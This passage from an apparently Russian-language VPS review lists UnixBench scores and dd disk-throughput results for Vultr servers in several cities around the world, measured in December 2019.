Double-Precision Whetstone 4429.9 MWIPS (10.0 s, 7 samples)
Execl Throughput 4627.0 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 676411.8 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 181937.6 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1590192.7 KBps (30.0 s, 2 samples)
Pipe Throughput 1008509.9 lps (10.0 s, 7 samples)
Pipe-based Context Switching 147408.3 lps (10.0 s, 7 samples)
Process Creation 10743.2 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7856.9 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1025.9 lpm (60.0 s, 2 samples)
System Call Overhead 689942.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26212655.7 2246.2
Double-Precision Whetstone 55.0 4429.9 805.4
Execl Throughput 43.0 4627.0 1076.0
File Copy 1024 bufsize 2000 maxblocks 3960.0 676411.8 1708.1
File Copy 256 bufsize 500 maxblocks 1655.0 181937.6 1099.3
File Copy 4096 bufsize 8000 maxblocks 5800.0 1590192.7 2741.7
Pipe Throughput 12440.0 1008509.9 810.7
Pipe-based Context Switching 4000.0 147408.3 368.5
Process Creation 126.0 10743.2 852.6
Shell Scripts (1 concurrent) 42.4 7856.9 1853.0
Shell Scripts (8 concurrent) 6.0 1025.9 1709.8
System Call Overhead 15000.0 689942.2 460.0
========
System Benchmarks Index Score 1115.7
```
**Unixbench (Нидерланды, Амстердам)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
18:14:32 up 4 min, 1 user, load average: 0.54, 0.21, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 11 2019 18:14:32 - 18:42:36
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 24400966.1 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4307.7 MWIPS (10.0 s, 7 samples)
Execl Throughput 4137.2 lps (29.7 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 563366.3 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 166725.8 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1351284.6 KBps (30.0 s, 2 samples)
Pipe Throughput 947831.0 lps (10.0 s, 7 samples)
Pipe-based Context Switching 127169.9 lps (10.0 s, 7 samples)
Process Creation 9682.9 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6961.7 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 917.2 lpm (60.0 s, 2 samples)
System Call Overhead 660482.8 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 24400966.1 2090.9
Double-Precision Whetstone 55.0 4307.7 783.2
Execl Throughput 43.0 4137.2 962.1
File Copy 1024 bufsize 2000 maxblocks 3960.0 563366.3 1422.6
File Copy 256 bufsize 500 maxblocks 1655.0 166725.8 1007.4
File Copy 4096 bufsize 8000 maxblocks 5800.0 1351284.6 2329.8
Pipe Throughput 12440.0 947831.0 761.9
Pipe-based Context Switching 4000.0 127169.9 317.9
Process Creation 126.0 9682.9 768.5
Shell Scripts (1 concurrent) 42.4 6961.7 1641.9
Shell Scripts (8 concurrent) 6.0 917.2 1528.7
System Call Overhead 15000.0 660482.8 440.3
========
System Benchmarks Index Score 1006.6
```
**Unixbench (Сингапур)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
14:17:01 up 4 min, 1 user, load average: 0.68, 0.23, 0.08; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 11 2019 14:17:01 - 14:45:06
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25144861.2 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4260.9 MWIPS (9.9 s, 7 samples)
Execl Throughput 4040.1 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 427185.8 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 116507.8 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1148414.3 KBps (30.0 s, 2 samples)
Pipe Throughput 626572.7 lps (10.0 s, 7 samples)
Pipe-based Context Switching 115253.6 lps (10.0 s, 7 samples)
Process Creation 9620.9 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6846.7 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 881.5 lpm (60.0 s, 2 samples)
System Call Overhead 344955.6 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25144861.2 2154.7
Double-Precision Whetstone 55.0 4260.9 774.7
Execl Throughput 43.0 4040.1 939.5
File Copy 1024 bufsize 2000 maxblocks 3960.0 427185.8 1078.8
File Copy 256 bufsize 500 maxblocks 1655.0 116507.8 704.0
File Copy 4096 bufsize 8000 maxblocks 5800.0 1148414.3 1980.0
Pipe Throughput 12440.0 626572.7 503.7
Pipe-based Context Switching 4000.0 115253.6 288.1
Process Creation 126.0 9620.9 763.6
Shell Scripts (1 concurrent) 42.4 6846.7 1614.8
Shell Scripts (8 concurrent) 6.0 881.5 1469.2
System Call Overhead 15000.0 344955.6 230.0
========
System Benchmarks Index Score 850.2
```
**Unixbench (Великобритания, Лондон)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel Core Processor (Haswell, no TSX, IBRS) (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
15:54:53 up 2 min, 1 user, load average: 0.62, 0.21, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Sun Dec 15 2019 15:54:53 - 16:22:57
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26199695.8 lps (10.1 s, 7 samples)
Double-Precision Whetstone 4515.1 MWIPS (9.9 s, 7 samples)
Execl Throughput 4408.5 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 595220.1 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 166098.6 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1395372.9 KBps (30.0 s, 2 samples)
Pipe Throughput 993618.1 lps (10.0 s, 7 samples)
Pipe-based Context Switching 141759.0 lps (10.0 s, 7 samples)
Process Creation 10582.5 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7349.8 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 939.8 lpm (60.1 s, 2 samples)
System Call Overhead 689617.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26199695.8 2245.0
Double-Precision Whetstone 55.0 4515.1 820.9
Execl Throughput 43.0 4408.5 1025.2
File Copy 1024 bufsize 2000 maxblocks 3960.0 595220.1 1503.1
File Copy 256 bufsize 500 maxblocks 1655.0 166098.6 1003.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 1395372.9 2405.8
Pipe Throughput 12440.0 993618.1 798.7
Pipe-based Context Switching 4000.0 141759.0 354.4
Process Creation 126.0 10582.5 839.9
Shell Scripts (1 concurrent) 42.4 7349.8 1733.4
Shell Scripts (8 concurrent) 6.0 939.8 1566.4
System Call Overhead 15000.0 689617.2 459.7
========
System Benchmarks Index Score 1061.0
```
**Unixbench (США, Атланта)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
18:59:49 up 2 min, 1 user, load average: 0.65, 0.22, 0.08; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Sun Dec 15 2019 18:59:49 - 19:27:54
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25425673.3 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4296.1 MWIPS (9.9 s, 7 samples)
Execl Throughput 4230.5 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 463467.3 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 126388.6 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1186982.0 KBps (30.0 s, 2 samples)
Pipe Throughput 646774.2 lps (10.0 s, 7 samples)
Pipe-based Context Switching 122358.8 lps (10.0 s, 7 samples)
Process Creation 9800.5 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7261.6 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 938.8 lpm (60.0 s, 2 samples)
System Call Overhead 357385.0 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25425673.3 2178.7
Double-Precision Whetstone 55.0 4296.1 781.1
Execl Throughput 43.0 4230.5 983.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 463467.3 1170.4
File Copy 256 bufsize 500 maxblocks 1655.0 126388.6 763.7
File Copy 4096 bufsize 8000 maxblocks 5800.0 1186982.0 2046.5
Pipe Throughput 12440.0 646774.2 519.9
Pipe-based Context Switching 4000.0 122358.8 305.9
Process Creation 126.0 9800.5 777.8
Shell Scripts (1 concurrent) 42.4 7261.6 1712.6
Shell Scripts (8 concurrent) 6.0 938.8 1564.6
System Call Overhead 15000.0 357385.0 238.3
========
System Benchmarks Index Score 888.4
```
**Unixbench (США, Чикаго)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
01:04:10 up 2 min, 1 user, load average: 0.60, 0.20, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 01:04:10 - 01:32:14
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25523985.5 lps (10.1 s, 7 samples)
Double-Precision Whetstone 4315.5 MWIPS (9.9 s, 7 samples)
Execl Throughput 4148.4 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 452161.7 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 123919.4 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1196969.9 KBps (30.0 s, 2 samples)
Pipe Throughput 642700.8 lps (10.0 s, 7 samples)
Pipe-based Context Switching 124108.9 lps (10.0 s, 7 samples)
Process Creation 9849.9 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7299.6 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 941.0 lpm (60.0 s, 2 samples)
System Call Overhead 355273.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25523985.5 2187.1
Double-Precision Whetstone 55.0 4315.5 784.6
Execl Throughput 43.0 4148.4 964.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 452161.7 1141.8
File Copy 256 bufsize 500 maxblocks 1655.0 123919.4 748.8
File Copy 4096 bufsize 8000 maxblocks 5800.0 1196969.9 2063.7
Pipe Throughput 12440.0 642700.8 516.6
Pipe-based Context Switching 4000.0 124108.9 310.3
Process Creation 126.0 9849.9 781.7
Shell Scripts (1 concurrent) 42.4 7299.6 1721.6
Shell Scripts (8 concurrent) 6.0 941.0 1568.4
System Call Overhead 15000.0 355273.2 236.8
========
System Benchmarks Index Score 886.0
```
**Unixbench (США, Даллас)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4800.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
01:07:22 up 2 min, 1 user, load average: 0.62, 0.19, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 01:07:22 - 01:35:27
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26030426.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4443.2 MWIPS (10.0 s, 7 samples)
Execl Throughput 4537.8 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 634719.5 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 176552.9 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1486392.3 KBps (30.0 s, 2 samples)
Pipe Throughput 990514.7 lps (10.0 s, 7 samples)
Pipe-based Context Switching 144687.4 lps (10.0 s, 7 samples)
Process Creation 10880.8 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7575.3 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 992.9 lpm (60.0 s, 2 samples)
System Call Overhead 688433.6 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26030426.9 2230.5
Double-Precision Whetstone 55.0 4443.2 807.9
Execl Throughput 43.0 4537.8 1055.3
File Copy 1024 bufsize 2000 maxblocks 3960.0 634719.5 1602.8
File Copy 256 bufsize 500 maxblocks 1655.0 176552.9 1066.8
File Copy 4096 bufsize 8000 maxblocks 5800.0 1486392.3 2562.7
Pipe Throughput 12440.0 990514.7 796.2
Pipe-based Context Switching 4000.0 144687.4 361.7
Process Creation 126.0 10880.8 863.6
Shell Scripts (1 concurrent) 42.4 7575.3 1786.6
Shell Scripts (8 concurrent) 6.0 992.9 1654.8
System Call Overhead 15000.0 688433.6 459.0
========
System Benchmarks Index Score 1090.0
```
**Unixbench (США, Лос-Анджелес)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
01:11:21 up 3 min, 1 user, load average: 0.71, 0.29, 0.11; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 01:11:21 - 01:39:26
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25267089.5 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4246.4 MWIPS (9.9 s, 7 samples)
Execl Throughput 4112.8 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 456196.7 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 122812.5 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1192809.7 KBps (30.0 s, 2 samples)
Pipe Throughput 636446.5 lps (10.0 s, 7 samples)
Pipe-based Context Switching 116546.4 lps (10.0 s, 7 samples)
Process Creation 9696.7 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7097.2 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 919.9 lpm (60.0 s, 2 samples)
System Call Overhead 352701.1 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25267089.5 2165.1
Double-Precision Whetstone 55.0 4246.4 772.1
Execl Throughput 43.0 4112.8 956.5
File Copy 1024 bufsize 2000 maxblocks 3960.0 456196.7 1152.0
File Copy 256 bufsize 500 maxblocks 1655.0 122812.5 742.1
File Copy 4096 bufsize 8000 maxblocks 5800.0 1192809.7 2056.6
Pipe Throughput 12440.0 636446.5 511.6
Pipe-based Context Switching 4000.0 116546.4 291.4
Process Creation 126.0 9696.7 769.6
Shell Scripts (1 concurrent) 42.4 7097.2 1673.9
Shell Scripts (8 concurrent) 6.0 919.9 1533.2
System Call Overhead 15000.0 352701.1 235.1
========
System Benchmarks Index Score 872.5
```
**Unixbench (США, Майами)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
01:15:03 up 2 min, 1 user, load average: 0.60, 0.21, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 01:15:03 - 01:43:08
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26582764.1 lps (10.1 s, 7 samples)
Double-Precision Whetstone 4412.8 MWIPS (10.0 s, 7 samples)
Execl Throughput 4634.7 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 669481.5 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 179719.1 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1533680.6 KBps (30.0 s, 2 samples)
Pipe Throughput 997113.7 lps (10.0 s, 7 samples)
Pipe-based Context Switching 145060.8 lps (10.0 s, 7 samples)
Process Creation 11030.6 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7915.2 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1025.9 lpm (60.0 s, 2 samples)
System Call Overhead 686188.0 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26582764.1 2277.9
Double-Precision Whetstone 55.0 4412.8 802.3
Execl Throughput 43.0 4634.7 1077.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 669481.5 1690.6
File Copy 256 bufsize 500 maxblocks 1655.0 179719.1 1085.9
File Copy 4096 bufsize 8000 maxblocks 5800.0 1533680.6 2644.3
Pipe Throughput 12440.0 997113.7 801.5
Pipe-based Context Switching 4000.0 145060.8 362.7
Process Creation 126.0 11030.6 875.4
Shell Scripts (1 concurrent) 42.4 7915.2 1866.8
Shell Scripts (8 concurrent) 6.0 1025.9 1709.8
System Call Overhead 15000.0 686188.0 457.5
========
System Benchmarks Index Score 1111.4
```
**Unixbench (США, Нью-Йорк)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 714389bda930 (4800.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
00:55:26 up 2 min, 1 user, load average: 0.56, 0.23, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 00:55:26 - 01:23:34
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25633639.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3533.8 MWIPS (9.9 s, 7 samples)
Execl Throughput 4070.4 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 474437.0 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 126743.5 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1199905.9 KBps (30.0 s, 2 samples)
Pipe Throughput 647341.0 lps (10.0 s, 7 samples)
Pipe-based Context Switching 88978.2 lps (10.0 s, 7 samples)
Process Creation 7295.0 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6352.0 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 826.7 lpm (60.0 s, 2 samples)
System Call Overhead 353376.1 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25633639.9 2196.5
Double-Precision Whetstone 55.0 3533.8 642.5
Execl Throughput 43.0 4070.4 946.6
File Copy 1024 bufsize 2000 maxblocks 3960.0 474437.0 1198.1
File Copy 256 bufsize 500 maxblocks 1655.0 126743.5 765.8
File Copy 4096 bufsize 8000 maxblocks 5800.0 1199905.9 2068.8
Pipe Throughput 12440.0 647341.0 520.4
Pipe-based Context Switching 4000.0 88978.2 222.4
Process Creation 126.0 7295.0 579.0
Shell Scripts (1 concurrent) 42.4 6352.0 1498.1
Shell Scripts (8 concurrent) 6.0 826.7 1377.9
System Call Overhead 15000.0 353376.1 235.6
========
System Benchmarks Index Score 812.4
```
**Unixbench (США, Сиэтл)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 714389bda930 (4800.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
01:18:39 up 2 min, 1 user, load average: 0.73, 0.25, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 01:18:39 - 01:46:47
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26700878.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3622.7 MWIPS (9.9 s, 7 samples)
Execl Throughput 3907.5 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 486945.0 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 130046.2 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1283902.3 KBps (30.0 s, 2 samples)
Pipe Throughput 662209.3 lps (10.0 s, 7 samples)
Pipe-based Context Switching 113981.0 lps (10.0 s, 7 samples)
Process Creation 8765.1 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7075.8 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 905.1 lpm (60.1 s, 2 samples)
System Call Overhead 364946.5 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26700878.9 2288.0
Double-Precision Whetstone 55.0 3622.7 658.7
Execl Throughput 43.0 3907.5 908.7
File Copy 1024 bufsize 2000 maxblocks 3960.0 486945.0 1229.7
File Copy 256 bufsize 500 maxblocks 1655.0 130046.2 785.8
File Copy 4096 bufsize 8000 maxblocks 5800.0 1283902.3 2213.6
Pipe Throughput 12440.0 662209.3 532.3
Pipe-based Context Switching 4000.0 113981.0 285.0
Process Creation 126.0 8765.1 695.6
Shell Scripts (1 concurrent) 42.4 7075.8 1668.8
Shell Scripts (8 concurrent) 6.0 905.1 1508.5
System Call Overhead 15000.0 364946.5 243.3
========
System Benchmarks Index Score 870.5
```
**Unixbench (США, Сан-Хосе)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
02:40:36 up 3 min, 1 user, load average: 0.62, 0.21, 0.07; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 02:40:36 - 03:08:40
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26677842.8 lps (10.1 s, 7 samples)
Double-Precision Whetstone 4517.5 MWIPS (10.0 s, 7 samples)
Execl Throughput 4679.7 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 658109.9 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 179078.5 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1513335.5 KBps (30.0 s, 2 samples)
Pipe Throughput 1011954.1 lps (10.0 s, 7 samples)
Pipe-based Context Switching 147993.7 lps (10.0 s, 7 samples)
Process Creation 11034.6 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7761.3 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1007.2 lpm (60.0 s, 2 samples)
System Call Overhead 686496.1 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26677842.8 2286.0
Double-Precision Whetstone 55.0 4517.5 821.4
Execl Throughput 43.0 4679.7 1088.3
File Copy 1024 bufsize 2000 maxblocks 3960.0 658109.9 1661.9
File Copy 256 bufsize 500 maxblocks 1655.0 179078.5 1082.0
File Copy 4096 bufsize 8000 maxblocks 5800.0 1513335.5 2609.2
Pipe Throughput 12440.0 1011954.1 813.5
Pipe-based Context Switching 4000.0 147993.7 370.0
Process Creation 126.0 11034.6 875.8
Shell Scripts (1 concurrent) 42.4 7761.3 1830.5
Shell Scripts (8 concurrent) 6.0 1007.2 1678.6
System Call Overhead 15000.0 686496.1 457.7
========
System Benchmarks Index Score 1111.5
```
**dd (Австралия, Сидней)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.00964 s, 357 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 12.2036 s, 176 MB/s
```
**dd (Канада, Торонто)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.20408 s, 511 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.97048 s, 432 MB/s
```
**dd (Германия, Франкфурт)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.49292 s, 478 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.66099 s, 461 MB/s
```
**dd (Франция, Париж)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.42477 s, 334 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.17672 s, 348 MB/s
```
**dd (Япония, Токио)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.98321 s, 359 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 5.74079 s, 374 MB/s
```
**dd (Нидерланды, Амстердам)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.00055 s, 358 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 7.24659 s, 296 MB/s
```
**dd (Сингапур)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.21242 s, 346 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.38259 s, 336 MB/s
```
**dd (Великобритания, Лондон)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 7.77476 s, 276 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 7.65941 s, 280 MB/s
```
**dd (США, Атланта)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.17663 s, 348 MB/s
```
